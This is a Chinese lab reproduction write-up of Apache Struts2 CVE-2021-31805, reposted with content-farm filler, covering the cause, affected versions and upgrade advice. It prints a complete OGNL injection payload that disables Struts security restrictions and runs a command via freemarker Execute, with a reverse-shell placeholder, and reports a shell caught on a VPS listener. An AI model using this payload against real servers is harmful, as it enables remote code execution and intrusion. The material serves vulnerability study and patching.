Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh)()

花匠人从多个角度为你分享Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh)(),让你更加了解Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh)(),包含生活百科相关的生活技巧、生活小窍门、生活小妙招等生活百科知识。

  本篇文章为你整理了Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh)()的详细内容,包含有Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh) 等,让你从多个方面了解Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh)(),希望对你有帮助。

  1、产品简介     Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。

   2、漏洞描述   该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。

   3、影响范围 受影响的版本:

  Struts 2.0.0 - Struts 2.5.29

  安全版本:

  Struts >= 2.5.30

   4、漏洞复现   复现环境:vulfocus在线靶场Vulfocus 漏洞威胁分析平台

    1、访问靶场漏洞环境,利用HackBar插件工具提交POST恶意请求

        POC如下:

  

name=(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map.setBean(#request.get(struts.valueStack)) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map2.setBean(#request.get(map).get(context)) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +(#request.map3.setBean(#request.get(map2).get(memberAccess)) == true).toString().substring(0,0) +(#request.get(map3).put(excludedPackageNames,#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#request.get(map3).put(excludedClasses,#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +(#application.get(org.apache.tomcat.InstanceManager).newInstance(freemarker.template.utility.Execute).exec({反弹shell指令}))#注意靶场的参数是name
 2、vps提前开启监听,成功反弹shell

 

    5、修复建议 通用修补建议

  根据影响范围中的信息,排查并升级到安全版本。 安全版本:Version Notes 2.5.30 - Apache Struts 2 Wiki - Apache Software Foundation

  临时修补建议

  避免对不受信任的用户输入使用强制 OGNL 评估。

  

  以上就是Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh)()的全部内容,想要了解更多Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh)()相关的内容,请持续关注我们。

以上就是花匠人为你整理的Apache Struts2远程代码执行漏洞复现,CVE-2021-31805(intellij 远程ssh)(),如果你还想了解更多生活百科知识,请持续关注花匠人。

郑重声明:本文版权归原作者所有,转载文章仅为传播更多信息之目的,如作者信息标记有误,请第一时间联系我们修改或删除,多谢。

留言与评论(共有 条评论)
   
验证码: